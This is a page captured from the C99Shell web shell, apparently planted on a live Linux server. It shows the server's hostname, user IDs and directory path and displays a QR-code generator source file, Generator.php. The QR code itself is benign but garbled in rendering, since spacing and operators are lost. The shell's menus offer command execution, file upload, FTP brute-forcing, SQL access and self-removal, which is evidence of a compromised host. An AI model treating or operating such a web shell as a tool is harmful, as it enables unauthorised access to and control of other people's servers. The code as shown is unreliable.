!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/simplesoftwareio/simple-qrcode/src/   drwxr-xr-x
Free 25.12 GB of 117.98 GB (21.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Generator.php (14.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace SimpleSoftwareIO\QrCode;

use 
BaconQrCode\Common\ErrorCorrectionLevel;
use 
BaconQrCode\Encoder\Encoder;
use 
BaconQrCode\Exception\WriterException;
use 
BaconQrCode\Renderer\Color\Alpha;
use 
BaconQrCode\Renderer\Color\ColorInterface;
use 
BaconQrCode\Renderer\Color\Rgb;
use 
BaconQrCode\Renderer\Eye\EyeInterface;
use 
BaconQrCode\Renderer\Eye\ModuleEye;
use 
BaconQrCode\Renderer\Eye\SimpleCircleEye;
use 
BaconQrCode\Renderer\Eye\SquareEye;
use 
BaconQrCode\Renderer\Image\EpsImageBackEnd;
use 
BaconQrCode\Renderer\Image\ImageBackEndInterface;
use 
BaconQrCode\Renderer\Image\ImagickImageBackEnd;
use 
BaconQrCode\Renderer\Image\SvgImageBackEnd;
use 
BaconQrCode\Renderer\ImageRenderer;
use 
BaconQrCode\Renderer\Module\DotsModule;
use 
BaconQrCode\Renderer\Module\ModuleInterface;
use 
BaconQrCode\Renderer\Module\RoundnessModule;
use 
BaconQrCode\Renderer\Module\SquareModule;
use 
BaconQrCode\Renderer\RendererStyle\EyeFill;
use 
BaconQrCode\Renderer\RendererStyle\Fill;
use 
BaconQrCode\Renderer\RendererStyle\Gradient;
use 
BaconQrCode\Renderer\RendererStyle\GradientType;
use 
BaconQrCode\Renderer\RendererStyle\RendererStyle;
use 
BaconQrCode\Writer;
use 
BadMethodCallException;
use 
InvalidArgumentException;
use 
SimpleSoftwareIO\QrCode\DataTypes\DataTypeInterface;

class 
Generator
{
    
/**
     * Holds the selected formatter.
     *
     * @var string
     */
    
protected $format 'svg';

    
/**
     * Holds the size of the QrCode in pixels.
     *
     * @var int
     */
    
protected $pixels 100;

    
/**
     * Holds the margin size of the QrCode.
     *
     * @var int
     */
    
protected $margin 0;

    
/**
     * Holds the selected error correction.
     * L: 7% loss.
     * M: 15% loss.
     * Q: 25% loss.
     * H: 30% loss.
     *
     * @var string|null
     */
    
protected $errorCorrection null;

    
/**
     * Holds the selected encoder.  Possible values are
     * ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6,
     * ISO-8859-7, ISO-8859-8, ISO-8859-9, ISO-8859-10, ISO-8859-11,
     * ISO-8859-12, ISO-8859-13, ISO-8859-14, ISO-8859-15, ISO-8859-16,
     * SHIFT-JIS, WINDOWS-1250, WINDOWS-1251, WINDOWS-1252, WINDOWS-1256,
     * UTF-16BE, UTF-8, ASCII, GBK, EUC-KR.
     *
     * @var string
     */
    
protected $encoding Encoder::DEFAULT_BYTE_MODE_ECODING;

    
/**
     * The style of the blocks within the QrCode.
     * Possible values are square, dot, and round.
     *
     * @var string
     */
    
protected $style 'square';

    
/**
     * The size of the selected style between 0 and 1.
     * This only applies to dot and round.
     *
     * @var float|null
     */
    
protected $styleSize null;

    
/**
     * The style to apply to the eye.
     * Possible values are circle and square.
     *
     * @var string|null
     */
    
protected $eyeStyle null;

    
/**
     * The foreground color of the QrCode.
     *
     * @var ColorInterface|null
     */
    
protected $color null;

    
/**
     * The background color of the QrCode.
     *
     * @var ColorInterface|null
     */
    
protected $backgroundColor null;

    
/**
     * An array that holds EyeFills of the color of the eyes.
     *
     * @var array
     */
    
protected $eyeColors = [];

    
/**
     * The gradient to apply to the QrCode.
     *
     * @var Gradient
     */
    
protected $gradient;

    
/**
     * Holds an image string that will be merged with the QrCode.
     *
     * @var null|string
     */
    
protected $imageMerge null;

    
/**
     * The percentage that a merged image should take over the source image.
     *
     * @var float
     */
    
protected $imagePercentage .2;

    
/**
     * Creates a new datatype object and then generates a QrCode.
     *
     * @param $method
     * @param array $arguments
     */
    
public function __call($method, array $arguments)
    {
        
$dataType $this->createClass($method);
        
$dataType->create($arguments);

        return 
$this->generate(strval($dataType));
    }

    
/**
     * Generates the QrCode.
     *
     * @param string $text
     * @param string|null $filename
     * @return void|Illuminate\Support\HtmlString|string
     * @throws WriterException
     * @throws InvalidArgumentException
     */
    
public function generate(string $textstring $filename null)
    {
        
$qrCode $this->getWriter($this->getRenderer())->writeString($text$this->encoding$this->errorCorrection);

        if (
$this->imageMerge !== null && $this->format === 'png') {
            
$merger = new ImageMerge(new Image($qrCode), new Image($this->imageMerge));
            
$qrCode $merger->merge($this->imagePercentage);
        }

        if (
$filename) {
            
file_put_contents($filename$qrCode);

            return;
        }

        if (
class_exists(\Illuminate\Support\HtmlString::class)) {
            return new 
\Illuminate\Support\HtmlString($qrCode);
        }

        return 
$qrCode;
    }

    
/**
     * Merges an image over the QrCode.
     *
     * @param string $filepath
     * @param float $percentage
     * @param SimpleSoftwareIO\QrCode\boolean|bool $absolute
     * @return Generator
     */
    
public function merge(string $filepathfloat $percentage .2bool $absolute false): self
    
{
        if (
function_exists('base_path') && ! $absolute) {
            
$filepath base_path().$filepath;
        }

        
$this->imageMerge file_get_contents($filepath);
        
$this->imagePercentage $percentage;

        return 
$this;
    }

    
/**
     * Merges an image string with the center of the QrCode.
     *
     * @param string  $content
     * @param float $percentage
     * @return Generator
     */
    
public function mergeString(string $contentfloat $percentage .2): self
    
{
        
$this->imageMerge $content;
        
$this->imagePercentage $percentage;

        return 
$this;
    }

    
/**
     * Sets the size of the QrCode.
     *
     * @param int $pixels
     * @return Generator
     */
    
public function size(int $pixels): self
    
{
        
$this->pixels $pixels;

        return 
$this;
    }

    
/**
     * Sets the format of the QrCode.
     *
     * @param string $format
     * @return Generator
     * @throws InvalidArgumentException
     */
    
public function format(string $format): self
    
{
        if (! 
in_array($format, ['svg''eps''png'])) {
            throw new 
InvalidArgumentException("\$format must be svg, eps, or png. {$format} is not a valid.");
        }

        
$this->format $format;

        return 
$this;
    }

    
/**
     * Sets the foreground color of the QrCode.
     *
     * @param int $red
     * @param int $green
     * @param int $blue
     * @param null|int $alpha
     * @return Generator
     */
    
public function color(int $redint $greenint $blue, ?int $alpha null): self
    
{
        
$this->color $this->createColor($red$green$blue$alpha);

        return 
$this;
    }

    
/**
     * Sets the background color of the QrCode.
     *
     * @param int $red
     * @param int $green
     * @param int $blue
     * @param null|int $alpha
     * @return Generator
     */
    
public function backgroundColor(int $redint $greenint $blue, ?int $alpha null): self
    
{
        
$this->backgroundColor $this->createColor($red$green$blue$alpha);

        return 
$this;
    }

    
/**
     * Sets the eye color for the provided eye index.
     *
     * @param int $eyeNumber
     * @param int $innerRed
     * @param int $innerGreen
     * @param int $innerBlue
     * @param int $outterRed
     * @param int $outterGreen
     * @param int $outterBlue
     * @return Generator
     * @throws InvalidArgumentException
     */
    
public function eyeColor(int $eyeNumberint $innerRedint $innerGreenint $innerBlueint $outterRed 0int $outterGreen 0int $outterBlue 0): self
    
{
        if (
$eyeNumber || $eyeNumber 2) {
            throw new 
InvalidArgumentException("\$eyeNumber must be 0, 1, or 2.  {$eyeNumber} is not valid.");
        }

        
$this->eyeColors[$eyeNumber] = new EyeFill(
            
$this->createColor($innerRed$innerGreen$innerBlue),
            
$this->createColor($outterRed$outterGreen$outterBlue)
        );

        return 
$this;
    }

    public function 
gradient($startRed$startGreen$startBlue$endRed$endGreen$endBluestring $type): self
    
{
        
$type strtoupper($type);
        
$this->gradient = new Gradient(
            
$this->createColor($startRed$startGreen$startBlue),
            
$this->createColor($endRed$endGreen$endBlue),
            
GradientType::$type()
        );

        return 
$this;
    }

    
/**
     * Sets the eye style.
     *
     * @param string $style
     * @return Generator
     * @throws InvalidArgumentException
     */
    
public function eye(string $style): self
    
{
        if (! 
in_array($style, ['square''circle'])) {
            throw new 
InvalidArgumentException("\$style must be square or circle. {$style} is not a valid eye style.");
        }

        
$this->eyeStyle $style;

        return 
$this;
    }

    
/**
     * Sets the style of the blocks for the QrCode.
     *
     * @param string $style
     * @param float $size
     * @return Generator
     * @throws InvalidArgumentException
     */
    
public function style(string $stylefloat $size 0.5): self
    
{
        if (! 
in_array($style, ['square''dot''round'])) {
            throw new 
InvalidArgumentException("\$style must be square, dot, or round. {$style} is not a valid.");
        }

        if (
$size || $size >= 1) {
            throw new 
InvalidArgumentException("\$size must be between 0 and 1.  {$size} is not valid.");
        }

        
$this->style $style;
        
$this->styleSize $size;

        return 
$this;
    }

    
/**
     * Sets the encoding for the QrCode.
     * Possible values are
     * ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6,
     * ISO-8859-7, ISO-8859-8, ISO-8859-9, ISO-8859-10, ISO-8859-11,
     * ISO-8859-12, ISO-8859-13, ISO-8859-14, ISO-8859-15, ISO-8859-16,
     * SHIFT-JIS, WINDOWS-1250, WINDOWS-1251, WINDOWS-1252, WINDOWS-1256,
     * UTF-16BE, UTF-8, ASCII, GBK, EUC-KR.
     *
     * @param string $encoding
     * @return Generator
     */
    
public function encoding(string $encoding): self
    
{
        
$this->encoding strtoupper($encoding);

        return 
$this;
    }

    
/**
     * Sets the error correction for the QrCode.
     * L: 7% loss.
     * M: 15% loss.
     * Q: 25% loss.
     * H: 30% loss.
     *
     * @param string $errorCorrection
     * @return Generator
     */
    
public function errorCorrection(string $errorCorrection): self
    
{
        
$errorCorrection strtoupper($errorCorrection);
        
$this->errorCorrection ErrorCorrectionLevel::$errorCorrection();

        return 
$this;
    }

    
/**
     * Sets the margin of the QrCode.
     *
     * @param int $margin
     * @return Generator
     */
    
public function margin(int $margin): self
    
{
        
$this->margin $margin;

        return 
$this;
    }

    
/**
     * Fetches the Writer.
     *
     * @param ImageRenderer $renderer
     * @return Writer
     */
    
public function getWriter(ImageRenderer $renderer): Writer
    
{
        return new 
Writer($renderer);
    }

    
/**
     * Fetches the Image Renderer.
     *
     * @return ImageRenderer
     */
    
public function getRenderer(): ImageRenderer
    
{
        
$renderer = new ImageRenderer(
            
$this->getRendererStyle(),
            
$this->getFormatter()
        );

        return 
$renderer;
    }

    
/**
     * Returns the Renderer Style.
     *
     * @return RendererStyle
     */
    
public function getRendererStyle(): RendererStyle
    
{
        return new 
RendererStyle($this->pixels$this->margin$this->getModule(), $this->getEye(), $this->getFill());
    }

    
/**
     * Fetches the formatter.
     *
     * @return ImageBackEndInterface
     */
    
public function getFormatter(): ImageBackEndInterface
    
{
        if (
$this->format === 'png') {
            return new 
ImagickImageBackEnd('png');
        }

        if (
$this->format === 'eps') {
            return new 
EpsImageBackEnd;
        }

        return new 
SvgImageBackEnd;
    }

    
/**
     * Fetches the module.
     *
     * @return ModuleInterface
     */
    
public function getModule(): ModuleInterface
    
{
        if (
$this->style === 'dot') {
            return new 
DotsModule($this->styleSize);
        }

        if (
$this->style === 'round') {
            return new 
RoundnessModule($this->styleSize);
        }

        return 
SquareModule::instance();
    }

    
/**
     * Fetches the eye style.
     *
     * @return EyeInterface
     */
    
public function getEye(): EyeInterface
    
{
        if (
$this->eyeStyle === 'square') {
            return 
SquareEye::instance();
        }

        if (
$this->eyeStyle === 'circle') {
            return 
SimpleCircleEye::instance();
        }

        return new 
ModuleEye($this->getModule());
    }

    
/**
     * Fetches the color fill.
     *
     * @return Fill
     */
    
public function getFill(): Fill
    
{
        
$foregroundColor $this->color ?? new Rgb(000);
        
$backgroundColor $this->backgroundColor ?? new Rgb(255255255);
        
$eye0 $this->eyeColors[0] ?? EyeFill::inherit();
        
$eye1 $this->eyeColors[1] ?? EyeFill::inherit();
        
$eye2 $this->eyeColors[2] ?? EyeFill::inherit();

        if (
$this->gradient) {
            return 
Fill::withForegroundGradient($backgroundColor$this->gradient$eye0$eye1$eye2);
        }

        return 
Fill::withForegroundColor($backgroundColor$foregroundColor$eye0$eye1$eye2);
    }

    
/**
     * Creates a RGB or Alpha channel color.
     * @param int $red
     * @param int $green
     * @param int $blue
     * @param null|int $alpha
     * @return ColorInterface
     */
    
public function createColor(int $redint $greenint $blue, ?int $alpha null): ColorInterface
    
{
        if (
is_null($alpha)) {
            return new 
Rgb($red$green$blue);
        }

        return new 
Alpha($alpha, new Rgb($red$green$blue));
    }

    
/**
     * Creates a new DataType class dynamically.
     *
     * @param string $method
     * @return DataTypeInterface
     */
    
protected function createClass(string $method): DataTypeInterface
    
{
        
$class $this->formatClass($method);

        if (! 
class_exists($class)) {
            throw new 
BadMethodCallException();
        }

        return new 
$class();
    }

    
/**
     * Formats the method name correctly.
     *
     * @param $method
     * @return string
     */
    
protected function formatClass(string $method): string
    
{
        
$method ucfirst($method);

        
$class "SimpleSoftwareIO\QrCode\DataTypes\\".$method;

        return 
$class;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--